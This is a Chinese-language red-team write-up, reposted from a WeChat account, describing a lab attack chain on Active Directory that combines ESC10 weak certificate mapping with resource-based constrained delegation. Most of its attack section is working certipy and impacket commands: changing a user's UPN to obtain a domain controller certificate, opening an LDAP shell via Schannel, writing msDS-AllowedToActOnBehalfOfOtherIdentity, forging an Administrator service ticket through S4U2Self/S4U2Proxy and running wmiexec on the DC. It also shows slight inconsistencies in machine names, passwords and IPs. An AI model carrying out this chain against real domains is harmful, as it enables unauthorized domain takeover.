ESC10结合RBCD链式利用

admin 2026-06-19 06:30:55 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍在域控开启Schannel限制(禁止PKINIT)环境下,通过ESC10结合RBCD的链式利用手法。关键步骤包括:利用弱映射机制修改用户UPN获取域控证书,通过Schannel认证后操作msDS-AllowedToActOnBehalfOfOtherIdentity属性配置RBCD,最终通过S4U2Self+S4U2Proxy链获取Administrator权限。技术核心在于绕过PKINIT限制实现权限提升。 综合评分: 85 文章分类: 渗透测试,内网渗透,红队,漏洞分析,WEB安全


cover_image

ESC10结合RBCD链式利用

原创

Jzhoucdc Jzhoucdc

攻防之路JZhoucdc

2026年6月18日 12:33 上海

在小说阅读器读本章

去阅读

1.前提

常规 ESC10利用中,通常直接利用证书通过 PKINIT 获取目标的 TGT,但本场景因为目标域控开启了 Schannel 限制(禁止 PKINIT),手法发生变化。这里使用ESC10结合 RBCD(基于资源的约束性委派) 的进行链式利用。

2.利用要求

注册表键值:CertificateMappingMethods = 0x4(无强映射)

含义0x4 代表使用了 “弱映射(Weak Mapping)” 机制。即 Schannel(LDAPS)在验证证书时,仅通过证书中的 UPN(用户主体名称)去 AD 里查找对应用户,而不会强制校验证书的“颁发者”或“序列号”是否与该用户对象绑定的 SID 强匹配。

3.案例

测试环境为靶机环境

修改user2的UPN为DC机器名称

certipy-ad account update -u '[email protected]' -p 'Password123!' -user user2 -upn '[email protected]' -target 10.129.228.236

利用user2凭证申请一个DC证书

certipy-ad req -u '[email protected]' -hashes ee22ddf0f8a66db4217050e6a948f9d6 -ca lab-LAB-DC-CA -template User -target 10.129.228.236

然后恢复user2的UPN

certipy-ad account update -u '[email protected]' -p 'Password123!' -user user2 -upn [email protected] -target 10.129.228.236 -dc-ip 10.129.228.236

通过 Schannel 进行身份验证,目前环境存在限制,无法通过PKINIT 进行身份验证开启一个 LDAP shell

certipy-ad auth -pfx lab-dc.pfx -domain lab.local -dc-ip 10.129.205.199 -ldap-shell -dc-ip 10.129.228.236

这里,打算进行RBCD(基于资源的约束性委派)利用,原理是:通过修改域控的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性来控制允许列表。首先创建了一个新的计算机plainext,密码是plaintex123;然后

set_rbcd lab-dc$ plaintext$

将 plaintext$ 的 SID 写入到 LAB-DC$ 计算机对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中。

下一步:使用 impacket-getST,以 plaintext$ 的身份(拥有密码 plaintext123)向 KDC 发起请求。

impacket-getST -spn cifs/LAB-DC.LAB.LOCAL -impersonate Administrator -dc-ip 10.129.228.236 lab.local/'plaintext$':plaintext123

技术原理(S4U2Self + S4U2Proxy)

  1. S4U2Selfplaintext$ 向 KDC 请求一个针对自身的、指向 Administrator 的“可转发票据”(Forwardable TGT)。这一步不需要域控允许,只要 plaintext$ 自身拥有有效的 Kerberos 凭证即可。
  2. S4U2Proxyplaintext$ 拿着这张可转发票据,向 KDC 请求一个用于访问 cifs/LAB-DC(文件共享服务)的服务票据。
  3. KDC 的校验:KDC 收到请求后,会检查目标资源(LAB-DC$)的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。由于该属性中明确包含了 plaintext$ 的 SID,KDC 判定允许委派,于是颁发 Administrator 访问 CIFS 服务的票据。

最后使用Administrator的TGT连接DC

KRB5CCNAME=Administrator@[email protected] impacket-wmiexec -k -no-pass LAB-DC.LAB.LOCAL

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:攻防之路JZhoucdc Jzhoucdc Jzhoucdc《ESC10结合RBCD链式利用》

评论:0   参与:  0